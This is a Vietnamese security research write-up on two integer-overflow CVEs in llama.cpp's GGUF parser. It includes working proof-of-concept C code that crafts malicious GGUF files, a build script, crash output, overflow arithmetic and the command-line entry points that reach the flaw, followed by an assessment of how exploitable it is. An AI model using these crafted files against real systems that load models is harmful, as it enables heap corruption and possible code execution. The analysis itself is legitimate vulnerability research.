CVE-2025-53630 & CVE-2026-27940 > Heap-based buffer overflow via Integer overflow in llama.cpp GGUF parser
Vuln: Không kiểm tra tràn số khi tính tổng kích thước cần cấp phát gây heap OOB read/write.
Important structs
gguf_context
gguf_context là output của bước đọc file GGUF. Nó lưu toàn bộ metadata: version, danh sách key-value, thông tin từng tensor, và size (tổng kích thước vùng dữ liệu tensor) cùng data (pointer đến vùng dữ liệu đó trong RAM).
struct gguf_context {
uint32_t version; // version GGUF (= 3)
std::vector<gguf_kv> kv; // key-value metadata (n_heads, vocab_size...)
std::vector<gguf_tensor_info> info; // metadata của từng tensor
size_t alignment; // = 32 bytes mặc định
size_t offset; // file offset nơi DATA BLOB bắt đầu
size_t size; // tổng size DATA BLOB
void * data; // pointer đến DATA BLOB trong RAM
};gguf_tensor_info
gguf_tensor_info mô tả một tensor đọc từ file: tên, shape, kiểu dữ liệu và vị trí của nó trong DATA BLOB. Trường t.data để NULL vì đây chỉ là metadata, chưa có data thật.
struct gguf_tensor_info {
struct ggml_tensor t; // mượn ggml_tensor để lưu: name, ne[], type, nb[]
// t.data = NULL — không có data thật ở đây
uint64_t offset; // offset của tensor này trong DATA BLOB
};ggml_context
ggml_context là một memory arena: một khối RAM liên tục được cấp phát trước, mọi tensor runtime sẽ được đặt vào trong đó. Khi no_alloc = true, context chỉ tạo metadata cho tensor mà không cấp phát bộ nhớ data thật.
struct ggml_context {
size_t mem_size; // tổng kích thước arena
void * mem_buffer; // 1 khối RAM liên tục
bool no_alloc; // true = chỉ tạo metadata, không alloc data
int n_objects;
struct ggml_object * objects_begin; // linked list objects trong arena
struct ggml_object * objects_end;
};ggml_object
Mỗi khi tạo một tensor, graph hay work buffer trong arena, runtime ghi một ggml_object làm header ngay trước phần payload. Các object này được nối thành linked list để duyệt và quản lý.
struct ggml_object {
size_t offs; // offset từ đầu mem_buffer đến payload
size_t size; // kích thước payload
struct ggml_object * next; // object tiếp theo (linked list)
enum ggml_object_type type; // TENSOR / GRAPH / WORK_BUFFER
};ggml_tensor
Đây là tensor runtime thật sự. Trường data trỏ đến raw bytes của tensor, ne[] chứa shape, nb[] chứa stride tính bằng byte.
struct ggml_tensor {
enum ggml_type type; // F32, F16, Q4_0, Q8_0...
int64_t ne[4]; // shape: ne[0]=cols, ne[1]=rows, ne[2], ne[3]
size_t nb[4]; // stride bytes: nb[0]=sizeof(element), nb[i]=nb[i-1]*ne[i-1]
enum ggml_op op; // phép tính: NONE, ADD, MUL_MAT, SOFTMAX...
struct ggml_tensor * src[10]; // input tensors của phép tính
void * data; // *** pointer đến raw bytes ***
char name[64];
};mem_buffer layout
Thay vì gọi malloc riêng lẻ cho từng tensor, llama.cpp cấp phát trước một khối RAM liên tục duy nhất gọi là arena (mem_buffer). Mọi tensor, graph, work buffer đều được đặt vào trong đó theo thứ tự. Mỗi item gồm một ggml_object header ngay trước payload, các header này được nối thành linked list để runtime có thể duyệt qua toàn bộ arena.
Mỗi item trong arena có dạng ggml_object header + payload liền kề:
mem_buffer (1 khối RAM liên tục):
┌──────────────────────────────────────────────────────────────────┐
│ [obj_hdr][payload] [obj_hdr][payload] [obj_hdr][payload] [FREE] │
└──────────────────────────────────────────────────────────────────┘Khi load GGUF với no_alloc=false, layout cụ thể trong arena sẽ như sau:
[obj_hdr #0 TENSOR][blob_tensor struct][===== DATA BLOB ===== ]
blob->data ───────→[tA bytes][pad][tB bytes]...
[obj_hdr #1 TENSOR][tensor_A struct ] ← no_alloc=true, không có data
tensor_A->data ───→ (trỏ vào DATA BLOB + offset_A)
[obj_hdr #2 TENSOR][tensor_B struct ]
tensor_B->data ───→ (trỏ vào DATA BLOB + offset_B)
[FREE SPACE ]blob_tensor (#0) là tensor đặc biệt, payload của nó chính là toàn bộ DATA BLOB chứa raw bytes của tất cả tensor trong model. Các tensor còn lại (tensor_A, tensor_B, …) chỉ là view, không có data riêng mà chỉ có data pointer trỏ vào đúng vị trí trong DATA BLOB theo offset đọc từ file GGUF.
GGUF File Structure
File structure của .gguf trông như sau tại https://github.com/ggml-org/ggml/blob/master/docs/gguf.md:

Parser flow (gguf_init_from_file_impl())
Caller tạo params
Caller khởi tạo gguf_init_params để điều khiển hành vi của parser, sau đó gọi gguf_init_from_file().
struct gguf_init_params params = {
.no_alloc = false, // muốn load data thật
.ctx = &ctx, // địa chỉ pointer ggml_context để nhận kết quả
};
gguf_context * gctx = gguf_init_from_file("model.gguf", params);Sau đó là gọi đến gguf_init_from_file_impl():
struct gguf_context * gguf_init_from_file(const char * fname, struct gguf_init_params params) {
FILE * file = ggml_fopen(fname, "rb");
if (!file) {
GGML_LOG_ERROR("%s: failed to open GGUF file '%s'\n", __func__, fname);
return nullptr;
}
struct gguf_context * result = gguf_init_from_file_impl(file, params);
fclose(file);
return result;
}Đọc file header
Parser đọc 4 byte đầu và validate magic string bằng "GGUF":
Sau đó đọc version (có validate):
Rồi đọc n_tensors và n_kv (có validate):
Đọc KV metadata
Mỗi cặp được parse vào gguf_kv và push vào ctx->kv (có check duplicate key, và validate type):
Đọc tensor info
Với mỗi tensor, parser đọc name vào info.t.name (có validate name length):
Đọc n_dims (tối đa 4) rồi đọc ne[0..n_dims-1], các chiều còn lại được gán bằng 1.
Bước validate kiểm tra không overflow int64, ne[j] >= 0:
Validate ne[0] chia hết cho block_size của kiểu dữ liệu:
Cuối cùng, info.offset được đọc vào, là vị trí của tensor này trong DATA BLOB, rồi toàn bộ được push vào ctx->info. Lúc này info.t.data = NULL vì chưa có data thật.
Seek đến DATA BLOB, ghi nhận offset
Parser pad vị trí hiện tại lên bội số của alignment trước khi seek, đảm bảo DATA BLOB luôn bắt đầu tại địa chỉ được align.
fseek(file, GGML_PAD(ftell(file), ctx->alignment), SEEK_SET);
ctx->offset = ftell(file); // vị trí trong file nơi DATA BLOB bắt đầu
Tính ctx->size (Integer Overflow - CVE-2025-53630)
Đây là bước tính tổng kích thước bộ nhớ cần cấp phát cho toàn bộ tensor data.
ctx->size = 0;
for (size_t i = 0; i < ctx->info.size(); ++i) {
const gguf_tensor_info & ti = ctx->info[i];
// Check: offset phải đúng bằng ctx->size hiện tại (tuần tự)
if (ti.offset != ctx->size) { return error; }
ctx->size += GGML_PAD(ggml_nbytes(&ti.t), ctx->alignment);
// ↑ size tensor i, pad lên bội số của alignment
}Parser duyệt qua từng tensor, cộng dồn kích thước có padding vào ctx->size. Check ti.offset != ctx->size đảm bảo các tensor nằm tuần tự trong DATA BLOB, không có gap hay overlap.
Tuy nhiên ở đây có lỗ hổng integer overflow khi cộng dồn vào ctx->size do ko có check nào cho giá trị của ctx->size trước khi cộng thêm. Dẫn đến giá trị của ctx->size bị truncate về một số rất nhỏ. Mình theo dõi các bước tiếp theo xem nó ảnh hưởng những đâu?
Tính mem_size và khởi tạo ggml_context
const size_t mem_size =
params.no_alloc ?
(n_tensors )*ggml_tensor_overhead() :
(n_tensors + 1)*ggml_tensor_overhead() + ctx->size;
struct ggml_init_params pdata = {
/*mem_size =*/ mem_size,
/*mem_buffer =*/ nullptr,
/*no_alloc =*/ params.no_alloc,
};
*params.ctx = ggml_init(pdata);Khi no_alloc = true, arena chỉ cần đủ chỗ cho metadata của n_tensors tensor, không cần data bytes. Khi no_alloc = false, arena cần thêm một slot cho blob tensor cộng với ctx->size bytes để chứa raw data, vậy nên mem_size cũng có kết quả là một số rất nhỏ.
Load toàn bộ DATA BLOB vào arena
Chỉ thực hiện khi no_alloc = false:
if (!params.no_alloc) {
data = ggml_new_tensor_1d(ctx_data, GGML_TYPE_I8, ctx->size);
ok = ok && data != nullptr;
if (ok) {
ggml_set_name(data, "GGUF tensor data binary blob");
}
// read the binary blob with the tensor data
ok = ok && gr.read(data->data, ctx->size);
if (!ok) {
GGML_LOG_ERROR("%s: failed to read tensor data binary blob\n", __func__);
ggml_free(ctx_data);
*params.ctx = nullptr;
gguf_free(ctx);
return nullptr;
}
ctx->data = data->data;
}Blob tensor là một tensor 1D kiểu I8 với ne[0] = ctx->size. Vì lúc này no_alloc = false, ggml_new_tensor_1d sẽ cấp phát data ngay trong arena, layout trong mem_buffer là [obj_hdr][tensor_struct][DATA BYTES] liền kề nhau.
Sau khi tạo xong, parser đọc ctx->size bytes từ file vào blob->data. Đây là lần đọc duy nhất từ file cho phần data, toàn bộ raw weight nằm trong arena từ bước này.
Tạo từng ggml_tensor
ggml_set_no_alloc(ctx_data, true);
// create the tensors
for (size_t i = 0; i < ctx->info.size(); ++i) {
const struct gguf_tensor_info & info = ctx->info[i];
struct ggml_tensor * cur = ggml_new_tensor(ctx_data, info.t.type, GGML_MAX_DIMS, info.t.ne);
ok = ok && cur != nullptr;
if (!ok) {
break;
}
ggml_set_name(cur, info.t.name);
// point the data member to the appropriate location in the binary blob using the tensor info
if (!params.no_alloc) {
cur->data = (char *) data->data + info.offset;
}
}Trước vòng lặp, parser gọi ggml_set_no_alloc(ctx_data, true) để các tensor tạo ra từ đây chỉ có metadata, không có data riêng.
Với mỗi tensor, cur->data được gán bằng blob->data + info.offset, tức là trỏ thẳng vào đúng vị trí trong blob. Nhưnginfo.offset là giá trị đọc trực tiếp từ file GGUF ở bước 3, không được kiểm tra lại ở đây. Nếu như trước đó overflow tại ctx->size, bây giờ arena đc tạo ra có kích thước rất nhỏ, nhưng info.offset vẫn có giá trị rất lớn (vì offset liên quan lúc tính ctx->size). Tóm lại, cur->data trỏ ra ngoài arena trên heap, nghĩa là mọi thao tác với con trỏ data sau này đều có thể gây OOB read/write trên heap.
Crafting a POC for CVE-2025-53630
Bây giờ mình sẽ tạo POC để trigger lỗi integer overflow này.
Bắt đầu với việc include các thứ cần thiết (để dùng hàm có sẵn trong ggml và gguf), và 2 struct để tạo tensor:
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include "gguf.h"
#include "ggml.h"
#define ull unsigned long long
struct gguf_tensor_info_header {
uint64_t name_len;
};
struct gguf_tensor_info_metadata {
uint32_t n_dims;
int64_t ne[GGML_MAX_DIMS];
uint32_t type;
uint64_t offset;
};
char poc_filename[] = "poc.gguf";Hàm main():
Đặt ctx->size mục tiêu mình muốn có:
const uint64_t target_ctx_size = 0x400ULL;Chọn type cho tensors, ví dụ float16, kích thước 2 byte:
enum ggml_type type_0 = GGML_TYPE_F16;
enum ggml_type type_1 = GGML_TYPE_F16;
size_t size_0 = ggml_type_size(type_0);
size_t size_1 = ggml_type_size(type_1);
size_t blck_size_0 = ggml_blck_size(type_0);
size_t blck_size_1 = ggml_blck_size(type_1);Tiếp đến mình tạo 2 tensors để có giá trị này GGML_PAD(ggml_nbytes(&ti.t), ctx->alignment) cực lớn dẫn đến overflow, nhưng tạo thế nào? Mình xem hàm ggml_nbytes() ra sao?
size_t ggml_nbytes(const struct ggml_tensor * tensor) {
for (int i = 0; i < GGML_MAX_DIMS; ++i) {
if (tensor->ne[i] <= 0) {
return 0;
}
}
size_t nbytes;
const size_t blck_size = ggml_blck_size(tensor->type);
if (blck_size == 1) {
nbytes = ggml_type_size(tensor->type);
for (int i = 0; i < GGML_MAX_DIMS; ++i) {
nbytes += (tensor->ne[i] - 1)*tensor->nb[i];
}
}
else {
nbytes = tensor->ne[0]*tensor->nb[0]/blck_size;
for (int i = 1; i < GGML_MAX_DIMS; ++i) {
nbytes += (tensor->ne[i] - 1)*tensor->nb[i];
}
}
return nbytes;
}Vì mình đã chọn float16:
static const struct ggml_type_traits type_traits[GGML_TYPE_COUNT] = {
...
[GGML_TYPE_F32] = {
.type_name = "f32",
.blck_size = 1,
.type_size = sizeof(float),
.is_quantized = false,
},
[GGML_TYPE_F16] = {
.type_name = "f16",
.blck_size = 1,
.type_size = sizeof(ggml_fp16_t),
.is_quantized = false,
.to_float = (ggml_to_float_t) ggml_fp16_to_fp32_row,
.from_float_ref = (ggml_from_float_t) ggml_fp32_to_fp16_row,
},Nên type_size = 2, blck_size = 1, nhánh này xảy ra:
nbytes = ggml_type_size(tensor->type);
for (int i = 0; i < GGML_MAX_DIMS; ++i) {
nbytes += (tensor->ne[i] - 1)*tensor->nb[i];
}Mình tạo chỉ 1 chiều cho đơn giản, n_dims = 1. Vậy, nbytes = ne[0] * type_size. Vì nb[0] = type_size.
size_t nbytes_0 = 0xF000000000000000ULL;
size_t ne0 = nbytes_0 / size_0;Tạo tensor tiếp theo, mình muốn tổng nbytes overflow:
size_t nbytes_1 = SIZE_MAX - GGML_PAD(nbytes_0, GGUF_DEFAULT_ALIGNMENT) + target_ctx_size + 1;
size_t ne1 = nbytes_1 / size_1;Bây giờ ghi ra file poc. Ghi header (n_kv = 0 cho đơn giản):

FILE *fp = fopen(poc_filename, "wb");
if (!fp) {
perror("Unable to open file for writing");
return 1;
}
char magic[] = GGUF_MAGIC;
uint32_t version = GGUF_VERSION;
uint64_t n_tensors = 2;
uint64_t n_kv = 0;
fwrite(magic, 4, 1, fp);
fwrite(&version, sizeof(version), 1, fp);
fwrite(&n_tensors, sizeof(n_tensors), 1, fp);
fwrite(&n_kv, sizeof(n_kv), 1, fp);Ghi các tensor:

uint64_t tensor_offset = 0;
char name_0[] = "tensor_A";
struct gguf_tensor_info_header th0;
struct gguf_tensor_info_metadata tm0;
th0.name_len = strlen(name_0);
tm0.n_dims = 1;
tm0.ne[0] = ne0;
tm0.type = type_0;
tm0.offset = tensor_offset;
fwrite(&th0.name_len, sizeof(th0.name_len), 1, fp);
fwrite(name_0, th0.name_len, 1, fp);
fwrite(&tm0.n_dims, sizeof(tm0.n_dims), 1, fp);
fwrite(tm0.ne, sizeof(tm0.ne[0]), tm0.n_dims, fp);
fwrite(&tm0.type, sizeof(tm0.type), 1, fp);
fwrite(&tm0.offset, sizeof(tm0.offset), 1, fp);
tensor_offset += GGML_PAD(nbytes_0, GGUF_DEFAULT_ALIGNMENT);
char name_1[] = "tensor_B";
struct gguf_tensor_info_header th1;
struct gguf_tensor_info_metadata tm1;
th1.name_len = strlen(name_1);
tm1.n_dims = 1;
tm1.ne[0] = ne1;
tm1.type = type_1;
tm1.offset = tensor_offset;
fwrite(&th1.name_len, sizeof(th1.name_len), 1, fp);
fwrite(name_1, th1.name_len, 1, fp);
fwrite(&tm1.n_dims, sizeof(tm1.n_dims), 1, fp);
fwrite(tm1.ne, sizeof(tm1.ne[0]), tm1.n_dims, fp);
fwrite(&tm1.type, sizeof(tm1.type), 1, fp);
fwrite(&tm1.offset, sizeof(tm1.offset), 1, fp);Tiếp tục, padding trước khi ghi data blob:
size_t current_pos = ftell(fp);
size_t padded_pos = GGML_PAD(current_pos, GGUF_DEFAULT_ALIGNMENT);
if (padded_pos > current_pos) {
char pad_bytes[padded_pos - current_pos];
memset(pad_bytes, 0, sizeof(pad_bytes));
fwrite(pad_bytes, 1, sizeof(pad_bytes), fp);
}Ghi dummy data vào datablob:
char data[target_ctx_size];
float *fdata = (float *)data;
float value = 100.0f;
size_t num_floats = target_ctx_size / sizeof(float);
for (size_t i = 0; i < num_floats; i++)
fdata[i] = value;
fwrite(data, 1, sizeof(data), fp);
printf("Crafted POC at: %s\n", poc_filename);
fclose(fp);POC hoàn chỉnh: https://github.com/ngtuonghung/CVE-2026-27940/blob/main/CVE-2025-53630%20POC/poc.c
Rồi, bây giờ mình sẽ build ggml và example (với ASAN) tại https://github.com/ggml-org/llama.cpp/blob/ffd59e7d18a76459d5c31ba97073c7c9d73cb752/examples/gguf/gguf.cpp để parse thử poc với script sau:
#!/bin/bash
# CVE-2025-53630 POC
curdir=$(pwd)
cd ../llama.cpp-ffd59e7d18a76459d5c31ba97073c7c9d73cb752
# Configure to build only the ggml static libraries with debug symbols and no optimizations
cmake -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g3" \
-DCMAKE_CXX_FLAGS="-O0 -g3" \
-DBUILD_SHARED_LIBS=OFF \
-DLLAMA_CURL=OFF \
-DLLAMA_BUILD_TESTS=OFF \
-DLLAMA_BUILD_EXAMPLES=OFF \
-DLLAMA_BUILD_SERVER=OFF
# Build the ggml static libraries
cmake --build build --target ggml -j$(nproc)
echo $curdir
# Build the POC generator
g++ -O0 -g3 \
-I./ggml/include \
"$curdir/poc.c" -o "$curdir/poc" \
./build/ggml/src/libggml.a \
./build/ggml/src/libggml-base.a \
./build/ggml/src/libggml-cpu.a \
-lm -lpthread -fopenmp
# Build the gguf example to verify the POC
g++ -O0 -g3 \
-fsanitize=address \
-fno-omit-frame-pointer \
-I./ggml/include \
examples/gguf/gguf.cpp -o "$curdir/llama-gguf" \
./build/ggml/src/libggml.a \
./build/ggml/src/libggml-base.a \
./build/ggml/src/libggml-cpu.a \
-lm -lpthread -fopenmp
cd "$curdir"
echo -e '\n\nCrafting POC: ./poc'
./poc
echo -e '\n\nRunning gguf example: ./llama-gguf poc.gguf r n'
./llama-gguf poc.gguf r nVà kết quả là:
Crafting POC: ./poc
Target context size: 0x400
Type 0: 1, size: 2, block size: 1
Type 1: 1, size: 2, block size: 1
Calculated nbytes_0: 0xf000000000000000
Calculated ne0: 0x7800000000000000
Calculated nbytes_1: 0x1000000000000400
Calculated ne1: 0x800000000000200
Calculated target_ctx_size_check: 0x400
Tensor 0 offset: 0x0
Tensor 1 offset: 0xf000000000000000
Current file position after writing headers: 0x68
Padded file position for data section: 0x80
Crafted POC at: poc.ggufMình đã có OOB read:

Chương trình crash khi đọc 10 phần tử float đầu tiên:
// print first 10 elements
const float * data = (const float *) cur->data;
printf("%s data[:10] : ", name);
for (int j = 0; j < MIN(10, ggml_nelements(cur)); ++j) {
printf("%f ", data[j]);
}Exploitable?
OOB Read rồi, nhưng liệu mình có khai thác được ko nhỉ? Trước hết mình thử tìm xem những nơi nào sử dụng đến gguf_init_from_file() mà thỏa mãn 2 điều sau:
- param.ctx != NULL.
- no_alloc = false.
Ở đây mình cần tìm những nơi là một phần của llama.cpp chứ không phải những chương trình ngoài sử dụng đến thư viện (ví dụ như example ở trên). Thì chỉ có duy nhất một nơi thỏa mãn:

Nhưng tensor->data sau đó chỉ đc sử dụng để tính toán, mình cho rằng ko có ko có bất kỳ leak nào, hoặc là rất khó để leak:

Và gguf_context đc free ngay sau đó khi kết thúc hàm. Vậy mình kết luận rằng lỗi overflow này ko thể khai thác được.
Crafting a POC for CVE-2026-27940
Với các phiên bản sau đó, CVE-2025-53630 đã được fix, nhưng ko đủ. Dẫn đến CVE-2026-27940, dù đã thêm check khi tính ctx->size, ctx->size vẫn có thể là giá trị cực kỳ lớn gần sát SIZE_MAX:
size_t padded_size = GGML_PAD(ggml_nbytes(&ti.t), ctx->alignment);
if (SIZE_MAX - ctx->size < padded_size) {
GGML_LOG_ERROR("%s: tensor '%s' size overflow, cannot accumulate size %zu + %zu\n",
__func__, ti.t.name, ctx->size, padded_size);
gguf_free(ctx);
return nullptr;
}
ctx->size += padded_size;First integer overflow
Nhưng lại quên check khi tính mem_size:
const size_t mem_size =
params.no_alloc ?
(n_tensors )*ggml_tensor_overhead() :
(n_tensors + 1)*ggml_tensor_overhead() + ctx->size;Overflow vẫn xảy ra khi ctx->size cộng thêm tổng overhead, mem_size bị wrap về giá trị rất nhỏ. Mình có overflow lần 1!
Sau đó tạo tensor 1d với type I8 và ctx->size rất lớn:
if (!params.no_alloc) {
data = ggml_new_tensor_1d(ctx_data, GGML_TYPE_I8, ctx->size);ggml_new_tensor_1d() gọi đến ggml_new_tensor() với n_dims = 1, ne là ctx->size:

Second integer overflow
ggml_new_tensor() gọi đến ggml_new_tensor_impl() với view_src = null. obj_alloc_size = data_size = ctx->size (do type = 1):

Sau đó tạo một object mới bằng ggml_new_object(), truyền vào size là GGML_TENSOR_SIZE (0x150) + ctx->size. Mình có overflow lần 2!
Vì là object đầu tiên nên ctx->objects_end = null, vậy cur_end = 0, obj_new trỏ về đầu mem_buffer (arena):

Để bypass được check này và tiếp tục chương trình, mình cần đảm bảo:
- wrapped(GGML_TENSOR_SIZE + ctx->size) + GGML_OBJECT_SIZE <= wrapped(mem_size).
Mà:
wrapped(mem_size) = ((n_tensors + 1)*ggml_tensor_overhead() + ctx->size) mod 2^64
- = ((n_tensors + 1)*(GGML_OBJECT_SIZE + GGML_TENSOR_SIZE) + ctx->size) mod 2^64
wrapped(GGML_TENSOR_SIZE + ctx->size) = (GGML_TENSOR_SIZE + ctx->size) mod 2^64
Nghĩa là:
(GGML_TENSOR_SIZE + ctx->size) mod 2^64 + GGML_OBJECT_SIZE <=
((n_tensors + 1)*(GGML_OBJECT_SIZE + GGML_TENSOR_SIZE) + ctx->size) mod 2^64
Vì GGML_OBJECT_SIZE = 0x20, GGML_TENSOR_SIZE = 0x150:
- (0x150 + ctx->size) % 2^64 + 0x20 <= ((n_tensors + 1)*0x170 + ctx->size) % 2^64
Biểu thức này chắc chắn thỏa mãn khi 2^64 > ctx->size >= 2^64 - 0x150, với mọi n > 0 (cần ít nhất 1 tensor để gây overflow). wrapped(mem_size) có giá trị tối thiểu là (n_tensors + 1)*0x170 - 0x150. Với 1 tensor, thì min là 0x190. Vậy thì mình chỉ có khả năng cấp phát các chunk có kích thước >= 0x190. Đây là chưa tính đến padding, nếu có thì sẽ có thể chênh lên 1 chút.
Sau khi bypass đc check, chương trình ghi dữ liệu kích thước rất lớn vào buffer rất nhỏ, gây buffer overflow trên heap:
// read the binary blob with the tensor data
ok = ok && gr.read(data->data, ctx->size);Ok giờ mình sẽ tạo đc POC như sau: https://github.com/ngtuonghung/CVE-2026-27940/blob/main/CVE-2026-27940%20POC/poc.c
Và chạy nó:
Crafting POC: ./poc poc.gguf
Type 0: 1, size: 2, block size: 1
ctx->size: 0xfffffffffffffec0
Calculated nbytes_0: 0xfffffffffffffec0
Calculated ne0: 0x7fffffffffffff60
Target mem_size: 0x1a0
Tensor 0 offset: 0x0
Current file position after writing headers: 0x40
Padded file position for data section: 0x40
Crafted POC at: poc.ggufVậy mem_size min là 0x1a0.

Vậy là mình đã có overflow tùy ý trên heap:

Exploitable?
Hmm, mình có thể overflow tùy ý trên heap, nhưng giờ sao? Biết rằng, chỉ với những interface của chính llama.cpp mà user có thể sử dụng, việc load một file .gguf chỉ được thực hiện 1 lần, cụ thể là thế nào?
Vì đây là version mới hơn, mình liệt kê được thêm các nơi sử đến gguf_init_from_file() mà thỏa mãn ctx != null và no_alloc = false:
Qua llama-server (model.gguf là 1 model hợp lệ):
./llama-server -m model.gguf --control-vector poc.gguf --port 8080static common_control_vector_data common_control_vector_load_one(const common_control_vector_load_info & load_info) {
common_control_vector_data result = { -1, {} };
ggml_context * ctx = nullptr;
struct gguf_init_params meta_gguf_params = {
/* .no_alloc = */ false,
/* .ctx = */ &ctx,
};
struct gguf_context * ctx_gguf = gguf_init_from_file(load_info.fname.c_str(), meta_gguf_params);
if (!ctx_gguf) {
LOG_ERR("%s: failed to load control vector file from %s\n", __func__, load_info.fname.c_str());
return result;
}
...Qua llama-imatrix:
./llama-imatrix -m dummy.gguf --in-file poc.ggufbool IMatrixCollector::load_imatrix(const char * file_name) {
struct ggml_context * ctx = nullptr;
struct gguf_init_params meta_gguf_params = {
/* .no_alloc = */ false, // the data is needed
/* .ctx = */ &ctx,
};
struct gguf_context * ctx_gguf = gguf_init_from_file(file_name, meta_gguf_params);
if (!ctx_gguf) {
return this->load_imatrix_legacy(file_name);
}
...Qua llama-quantize:
./llama-quantize --imatrix poc.gguf model.gguf output.gguf Q4_0static int load_imatrix(const std::string & imatrix_file, std::vector<std::string> & imatrix_datasets, std::unordered_map<std::string, std::vector<float>> & imatrix_data) {
struct ggml_context * ctx = nullptr;
struct gguf_init_params meta_gguf_params = {
/* .no_alloc = */ false, // the data is needed
/* .ctx = */ &ctx,
};
struct gguf_context * ctx_gguf = gguf_init_from_file(imatrix_file.c_str(), meta_gguf_params);
if (!ctx_gguf) {
fprintf(stderr, "%s: imatrix file '%s' is using old format\n", __func__, imatrix_file.c_str());
return load_legacy_imatrix(imatrix_file, imatrix_datasets, imatrix_data);
}
...Để ý rằng mình chỉ có thể thực thi các path này một lần khi khởi chạy. Vậy nếu mục tiêu là RCE đc, thì mình chỉ có 1 shot overflow trên heap, và phải bypass các mitigation của heap (tránh corrupt heap metadata), và sau đó ghi đè function pointer nào đó ở các chunk đằng sau để chuyển luồng thực thi rồi mở shell, và tất nhiên trước đó phải bypass đc ASLR.
Theo mình nghĩ chỉ với riêng interface của llama.cpp, RCE chỉ với việc parse GGUF là rất khó, cho dù là partial overwrite ASLR. Kể cả có bug để bypass ASLR ở nơi khác trong llama.cpp, thì vẫn ko giúp đc gì, vì mỗi lần load GGUF là một process với dải địa chỉ mới.
Nhưng, vì llama.cpp là một library, nó có thể đc dùng trong 1 chương trình khác, mình nghĩ kịch bản như sau có thể xảy ra:
- Chương trình đó cung cấp thêm interfaces, user có thể tương tác với llama.cpp thông qua chương trình đó nhiều lần (cụ thể là cho upload GGUF file).
- Chương trình đó có bug, hoặc là llama.cpp có bug khác cho phép attacker có thể khai thác để bypass ASLR mà ko làm crash chương trình.
- Sau khi bypass ASLR, vì llama.cpp đc load vào dải địa chỉ đã biết, attacker tạo GGUF hoàn chỉnh, upload để overflow và ghi đè vào con trỏ hàm nào đó của chương trình để chuyển luồng thực thi.
Author của CVE này viết trong report cách anh ta đạt RCE chính là cái mình nói ở trên. Anh ta viết một chương trình có sử dụng llama.cpp là library, rồi cho rằng có thể control this, control that, và ghi đè con trỏ hàm trong chính chương trình đó với system("/bin/bash"). Câu chữ trong report khiến cho người đọc bị hiểu lầm rằng đây là RCE hoàn chỉnh, chỉ việc parse GGUF.
Một chương trình ví dụ ở đây là Ollama. Nhưng vậy thôi :), đó là cho CVE khác rồi.
References
https://github.com/ggml-org/llama.cpp/security/advisories/GHSA-vgg9-87g3-85w8
https://github.com/ggml-org/llama.cpp/tree/ffd59e7d18a76459d5c31ba97073c7c9d73cb752
https://github.com/ggml-org/llama.cpp/security/advisories/GHSA-3p4r-fq3f-q74v
https://github.com/ggml-org/llama.cpp/releases?q=b8145&expanded=true
https://github.com/ggml-org/ggml/blob/master/docs/gguf.md
https://www.omrimallis.com/posts/understanding-how-llm-inference-works-with-llama-cpp/